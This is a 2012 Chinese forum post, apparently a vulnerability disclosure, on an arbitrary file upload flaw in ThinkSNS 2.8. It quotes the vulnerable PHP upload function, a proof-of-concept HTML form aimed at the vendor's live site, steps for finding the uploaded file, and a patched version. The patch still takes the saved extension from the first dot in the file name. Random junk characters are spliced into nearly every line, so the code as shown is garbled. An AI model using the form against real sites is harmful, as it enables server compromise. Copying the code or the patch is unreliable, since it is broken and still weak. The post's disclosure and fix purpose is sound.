找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2401|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。, i& _% G+ ?2 v7 C. ~) k/ x* s
4 \) a  ]. D2 v- t8 v6 c. d
* q- J& g& t- h5 B9 d% w* ~- f
\api\StatusesApi.class.php
; G4 z) E! c' Z7 t6 N' ~( y & d) t4 M' l0 p9 f. ?
function uploadpic(){; k. G3 I3 u2 W+ {! |
      if( $_FILES['pic'] ){! m5 i) ?: k+ |7 X
     //执行上传操作$ J( Q- S4 o+ L3 |
     $savePath =  $this->_getSaveTempPath();# A* m- I2 H  C3 w2 l* M
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);! p# {/ r# J; n. t
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))( t! _  o# M7 }% I* U
       {' q  p3 U* F2 a: v/ n, ~1 Q- b0 W5 t
        $result['boolen']    = 1;
% q6 X. w0 Q5 J7 n4 j* e; L        $result['type_data'] = 'temp/'.$filename;  {6 {: j/ k% s. }) O
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
7 w. B" ~' s1 F! s. }. Z: R       } else {8 F: d8 p/ n6 b. h( \5 y1 Q* A
        $result['boolen']    = 0;! ]( g* ?! B( U2 W) i& b# v( {4 F  Y
        $result['message']   = '上传失败';% S: @) K# I0 x/ f$ U$ ^# o
       }- h& }5 K: B5 n8 k" p6 m6 A' `% T8 l' T
     }else{6 e. w) i5 [- i3 }+ B3 _
         $result['boolen']    = 0;
. K1 |4 x% N- s: K# W         $result['message']   = '上传失败';4 |$ W: e. \9 r/ t' d' v
     }) O! k  d! ?" A" n
return $result;8 d+ I* \) u5 d; ~+ B8 Y" {
    }
' Z6 I4 N- Y7 J  i% ^unloadpic()方法没有对文件类型进行验证2 A7 N2 A/ Q( f3 n( y  T
4 u. E) ~' f* w( V0 i
可以构建表单, 选择任意文件, 提交到4 |8 |- A: X' w' E% S7 b! L. z
/index.php?app=w3g&mod=Index&act=doPost  ^0 ]$ b" N: j( B! J  b

# W; h: s( L  S7 }在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)1 W( o6 Q# ~) k* p; a
; T! L7 q0 a6 d8 p
/ a. W1 o' F2 T, O
在登录thinksns官方微博后,
1 m5 z2 e7 g0 S  f* Q8 ~2 X构建以下表单:' T: ~- P2 ~3 q3 Z6 h! l. B4 y+ O
: O' D. r9 H5 I' V6 \! Z( q% Z
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />) J3 u! [( [5 m6 F4 w* V
<textarea name="content">test</textarea>* L4 K* M6 o6 H* J
file: <input id="file" type="file" name="pic" />
" Z2 [' W* K7 k- m<input type="submit" value="Post" />
8 k3 ~- C4 \* x; Y: K9 M</form>
3 `9 f9 Q4 Y5 e去掉缩略图的前缀(small_ )
, ~( T3 X/ Y, N* _8 z+ ~3 _, A​修复方案:
/ u! e1 b" `+ j& R, y; T( G' L6 U+ U( W, {
* p' @4 b* @: g5 I' T' O
\api\StatusesApi.class.php2 O$ C5 v) S! B7 F; [
* Y9 k* w6 m# L2 U
function uploadpic(){1 D, ~! u# T0 B7 m& J1 N9 J
     /**# R: j1 p4 M# O, R
      * 20121018 @yelo8 ~( H+ f) E; X% E6 l
      * 增加上传类型验证
, ^$ h; j. q0 P      */8 R: i- `$ b3 d% g7 a. J$ b
     $pathinfo = pathinfo($_FILES['pic']['name']);
5 X7 Q8 q* X8 W     $ext = $pathinfo['extension'];
1 X/ x4 K6 h4 }* @ $allowExts = array('jpg', 'png', 'gif', 'jpeg');0 h$ v* i/ @; M, M) `5 B2 n

" i$ Q# v! o4 s8 d! _3 s5 M     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
3 w+ P7 Q. O/ @
) `& W, g+ J) ?/ r- v     if( $uploadCondition ){
& Z9 N/ r4 z, l' J$ N' B- V- n7 I     //执行上传操作. [# M% U/ h& p) |1 \( m
     $savePath =  $this->_getSaveTempPath();. U9 S0 P9 [$ k9 T% P
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
6 q6 N' A  v9 V8 v+ t    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
" Q$ D/ m* o5 L  ]- {4 E, ?, A       {
8 p( N8 P+ K* m$ i        $result['boolen']    = 1;
: w5 Y' c" S8 Q0 O        $result['type_data'] = 'temp/'.$filename;7 z0 V$ ~7 M* k* h0 t
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
7 H8 }# U  ?! [       } else {
/ o( o& P6 Y" A; o4 q2 }        $result['boolen']    = 0;. g0 g1 v4 ^1 {1 m- K* E# T
        $result['message']   = '上传失败';
! t7 }; p- e9 c. I7 y' m       }
" D. E2 L& v9 O+ ?1 j8 J+ |$ w     }else{& n' f* I" j0 T0 R. t
         $result['boolen']    = 0;/ p' L: {, u6 A+ B9 M
         $result['message']   = '上传失败';
6 T) X" Y2 e- ^0 T5 R     }$ N  {% F  J  y! ?( `6 ]8 E" q
return $result;
% a! a( k) w4 ~7 t3 U    }
' M2 [2 T# j/ H; e​+ K# e  |3 @( ?, k2 |9 z
6 O# b$ Q! C- @3 v  f3 R) p2 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表